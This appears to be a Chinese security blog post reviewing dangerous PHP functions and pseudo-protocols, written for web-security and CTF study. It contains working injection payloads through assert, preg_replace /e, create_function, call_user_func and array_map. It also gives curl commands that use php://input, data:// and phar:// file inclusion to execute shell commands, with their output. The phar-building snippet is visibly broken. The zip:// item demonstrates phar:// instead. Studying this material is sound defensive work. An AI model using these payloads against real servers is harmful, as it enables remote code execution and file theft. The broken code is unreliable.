0%

PHP中的危险函数和伪协议

复习一下PHP中常见的危险函数:

文件读取

  • file_get_contents(),该函数可以读取其他协议造成SSRF

    1
    2
    3
    $src=$_GET['src'];
    $homepage = file_get_contents($src);
    echo $homepage;
  • highlight_file(),高亮显示文件内容

  • show_source(),highlight_file()的别名
  • fopen()、fread(),fgets()、fgetss()、fpassthru()等
    • fread(fopen($filename,”r”), $size); //读取$size长度的文件
    • fgets(fopen($filename, “r”)); //读取一行
    • fgetss(fopen($filename, “r”)); //读取一行并过滤HTML标记
    • fpassthru(fopen($filename, “r”)); //读取到文件结束
  • readfile(),读取文件并返回至页面

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    $file = $_GET['file'];

    if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
    }
    ?>
  • file(),把文件读进数组中

  • php_strip_whitespace(),读取一个php文件并返回一个去掉注释和换行的文本,有意思的是,该函数可以去掉任意语言的注释,只要这个语言的注释风格与php相同并且在文件头加入<?php就行可:
    1549526799636
  • parse_ini_file(),只能读取ini文件

命令执行

  • system()
  • shell_exec(),和system()差不多
  • passthru(),返回二进制的输出
  • exec(‘ls’, $array),返回结果保存在array
  • pcntl_exec(),不返回结果
  • popen(),返回一个文件指针

    1
    2
    3
    $handle = popen("/bin/ls", "r");
    var_dump(fpassthru($handle));
    pclose($handle);
  • proc_open(),增强型popen(),允许有三个通道(输入,输出,错误)

  • `(反单引号)
  • escapeshellcmd() // 该函数用于过滤字符保证不执行其他恶意指令

代码执行

  • eval(“phpinfo();”)
  • assert(),原用法是assert失败后,调用回调函数,它会将参数作为代码执行。

    1
    2
    $num=$_GET['num'];
    assert("is_int($num)");

    payload为num=1)%20and%20phpinfo();//,注意若前面的条件不满足则用or,如a)%20or%20phpinfo();//

  • preg_replace + ‘/e’,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码,如

    1
    echo preg_replace("/test/e",$_GET["cmd"],"just test");

    payload为cmd=phpinfo(),注意该方法只在php 5.5.0以下版本有效。

  • create_function($args, ​$code),创建一个匿名函数,由于内部是eval实现的,所以存在安全性问题,如:

    1
    2
    3
    4
    5
    $sort_by = $_GET['sort_by'];
    $databases=array('1234','4321');
    $sort_function = 'return strcmp($a["'.$sort_by.'"], $b["'.$sort_by.'"]);';
    usort($databases, create_function('$a, $b', $sort_function));
    print_r($databases);

    构造payload的关键在于将create_function还原为eval实现的普通函数,接着按上下文闭合先前的函数逻辑(这里为strcmp)再加上其他语句;}phpinfo();/*,总之确保eval中的字符串拼接成一个php符合语法的语句:

    1
    2
    3
    4
    5
    eval(
    'function lambda($a, $b){
    return strcmp($a["'.$sort_by.'"], $b["'.$sort_by.'"]); //replace with create_function
    }'
    );

    由此payload为sort_by="]);}phpinfo();/*,此时eval中的字符串拼接成:

    1
    2
    3
    4
    function lambda($a, $b){ 
    return strcmp($a[""]);
    }
    phpinfo();/*"], $b[""]);}phpinfo();/*"]); }
  • call_user_func(callable $func, $arg),调用func($arg),若func可指定为assert则存在代码执行:

    1
    2
    3
    $a=$_GET['a'];
    $b=$_GET['b'];
    call_user_func($a, $b);

    payload为a=assert&b=phpinfo()

  • call_user_func_array(callable $func , array $args_arr),调用func,参数为数组$args_arr:

    1
    2
    3
    $a=$_GET['a'];
    $b=$_GET['b'];
    call_user_func_array($a, $b);

    payload为a=assert&b[]=phpinfo()

  • array_map(callable $func, array $array1 [, array $… ]),将array中的元素应用到$callback函数上,有点像Python的map

    1
    2
    3
    $a=$_GET['a'];
    $b=$_GET['b'];
    array_map($a, $b);

    payload为a=assert&b[]=phpinfo()

  • ob_start(),用法如下(只能显示一行):
    1
    $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();

文件上传

  • move_uploaded_file()
  • getimagesize() //验证文件头只要为GIF89a,就会返回真

文件包含

  • require(),程序一运行就包含该文件
  • include(),执行到include时包含该文件
  • require_once(),include_once():若已包含过则不再包含
  • allow_url_include = on,打开远程文件包含

变量覆盖

  • extract()
  • import_request_variables()
  • parse_str()
  • mb_parse_str()
    全局变量覆盖:register_globals为ON,$GLOBALS

伪协议

  • php://filter,结合base64读取文件用,如:

    1
    2
    3
    4
    5
    $ curl http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=include.php|base64 -d
    % Total % Received % Xferd Average Speed Time Time Time Current
    Dload Upload Total Spent Left Speed
    100 45 100 45 0 0 5000 0 --:--:-- --:--:-- --:--:-- 5000
    <?php include($_GET['file']);?>
  • php://input,将post作为输入,在远程文件包含和file_get_contents()时可以利用造成RCE,如:

    1
    2
    3
    4
    5
    6
    7
    $ curl -X POST http://localhost/include.php?file=php://input --data "<?php system('ls -al');?>"
    total 126
    drwxr-xr-x 1 Anemone 197121 0 Feb 8 11:22 .
    drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg
    -rw-r--r-- 1 Anemone 197121 2117 Sep 21 21:53 aizhixi.php
  • data://,将data后的get请求作为输入,在远程文件包含时可造成RCE,如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $ echo "<?php system('ls -al');?>"|base64
    PD9waHAgc3lzdGVtKCdscyAtYWwnKTs/Pgo=

    $ curl "http://localhost/include.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtYWwnKTs/Pgo="
    total 126
    drwxr-xr-x 1 Anemone 197121 0 Feb 8 11:22 .
    drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg
    -rw-r--r-- 1 Anemone 197121 2117 Sep 21 21:53 aizhixi.php
  • zip://、compress.bzip2://、compress.zlib://,读取一个.zip/.bz2/.gz文件中的文件,可以将一句话压缩造成RCE:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $ echo "<?php echo system('ls -al');?>" > ls.php
    $ zip -r shell.zip ls.php
    adding: ls.php (stored 0%)
    # 上传后
    $ curl "http://localhost/include.php?file=phar://./shell.zip/ls.php"
    total 128
    drwxr-xr-x 1 Anemone 197121 0 Feb 8 16:11 .
    drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg
  • phar://,读取一个phar/zip文件,可以利用成RCE:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    $ cat phar.php
    <?php
    ?>' ;
    $phar->setStub('<?php __HALT_COMPILER();?>');
    ?>
    $ php phar.php
    # 上传phar后
    $ curl "http://localhost/include.php?file=phar://./shell.phar/shell.php" --data "cmd=system('ls -al');"
    12321total 128
    drwxr-xr-x 1 Anemone 197121 0 Feb 8 16:11 .
    drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
    -rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg

参考链接